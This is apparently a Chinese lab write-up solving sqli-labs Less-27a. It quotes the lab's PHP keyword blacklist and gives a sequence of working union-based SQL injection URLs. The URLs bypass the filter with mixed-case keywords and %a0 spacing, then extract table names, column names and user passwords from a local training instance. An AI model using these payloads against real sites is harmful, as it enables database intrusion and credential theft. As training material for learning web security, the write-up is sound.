摘要 {#摘要}
在这个实验中,我们继续学习了sqli-labs中的一个题目,即Less-27a。通过分析源代码,我们发现了一个名为blacklist的PHP函数,用于对传入的$id字符串进行过滤处理,以提高安全性。该函数使用正则表达式和preg_replace函数来替换字符串中的特定字符和关键字,例如/*、--、#、空格以及各种大小写形式的select和union。尽管这种简单的字符替换方法可以一定程度上防止SQL注入攻击,但仍存在绕过的可能性。 在实验过程中,我们通过联合注入的方式判断了注入点、显示位、库名、表名和列名,并最终成功获取了用户表中的用户名和密码数据。 然而,这种简单的过滤方法并不是最安全可靠的解决方案。为了避免安全问题,建议使用更现代的安全编程技术,如参数化查询或使用安全的数据库访问层来防止SQL注入攻击。这些技术可以有效地防止攻击者绕过过滤规则,并提供更可靠的安全保护。
前言 {#前言}
这几天有点事,好几天没更新sqli-labs的题目了,今天继续开始我们的学习,Less-27a肯定跟我们的27题类似,至于是什么类似,根据以往的做题经验,我觉得过滤方式应该没什么变化,可能这题主要考我们注入方式。 分析源码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out Select
return $id;
}
gpt分析
这段代码是一个 PHP 函数,名为 `blacklist`,用于对传入的 `$id` 字符串进行过滤处理。函数使用了正则表达式和 `preg_replace` 函数来替换字符串中的特定字符和关键字,以提高安全性。
具体分析如下:
1. 第2行到第5行:使用正则表达式 `/[\/\*]/`、`/--/`、`/[#]/` 和 `/[ +]/` 分别匹配字符串中的 `/*`、`--`、`#` 和空格,并将其替换为空字符串,即删除这些字符。
2. 第6行到第11行:使用正则表达式 `/select/m`、`/union/s`、`/select/s`、`/UNION/s`、`/SELECT/s`、`/Union/s` 和 `/Select/s` 分别匹配字符串中的 `select`、`union`、`select`、`UNION`、`SELECT`、`Union` 和 `Select`,并将其替换为空字符串,即删除这些关键字。这里的 `/m` 和 `/s` 分别表示多行模式和单行模式。
3. 最后,将处理后的 `$id` 字符串返回。
该函数的目的是过滤掉 `$id` 字符串中的一些特殊字符和关键字,以避免潜在的安全问题,如 SQL 注入。然而,这种简单的字符替换方法并不能完全保证安全,因为攻击者可以使用各种绕过技巧来绕过这种简单的过滤。建议使用更加全面和可靠的安全编程技术,如参数化查询或使用安全的数据库访问层来防止 SQL 注入攻击。
大概意思就是该过滤的都过滤了,包括union,select首字母大写也被过滤,不过依旧可以通过随意组合大小写进行绕过
实验环节 {#实验环节}
前期准备 {#前期准备}
由于还是要用空格字符替换空格,本题还是使用kali部署的sqli-labs
su - root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令
浏览器访问Less-27a地址
http://192.168.199.129/Less-27a
分析注入方式 {#分析注入方式}
#id=1,id=2页面动态显示用户对应的数据,所以这题可以使用联合注入
http://192.168.199.129/Less-27a/?id=1
http://192.168.199.129/Less-27a/?id=2
判断注入点 {#判断注入点}
#id=1" and "1页面正常,id=1" and "0页面空内容
http://192.168.199.129/Less-27a/?id=1" and "1
http://192.168.199.129/Less-27a/?id=1" and "0
判断显示位 {#判断显示位}
http://192.168.199.129/Less-27a/?id=0" uNion%a0selEct%a01,2,3%a0and"1
判断库名 {#判断库名}
http://192.168.199.129/Less-27a/?id=0"%a0unioN%a0selecT%a01,database(),3%a0or"1"="1
判断表名 {#判断表名}
http://192.168.199.129/Less-27a/?id=0"%a0uNion%a0selEcT%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0and%a0"1"="1
判断列名 {#判断列名}
http://192.168.199.129/Less-27a/?id=0"%a0uNion%a0selEct%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0table_schema=database()%a0and%a0"1"="1
判断数据 {#判断数据}
http://192.168.199.129/Less-27a/?id=0"%a0uNion%a0selEct%a01,group_concat(username,password),3%a0from%a0users%a0where%a0"1"="1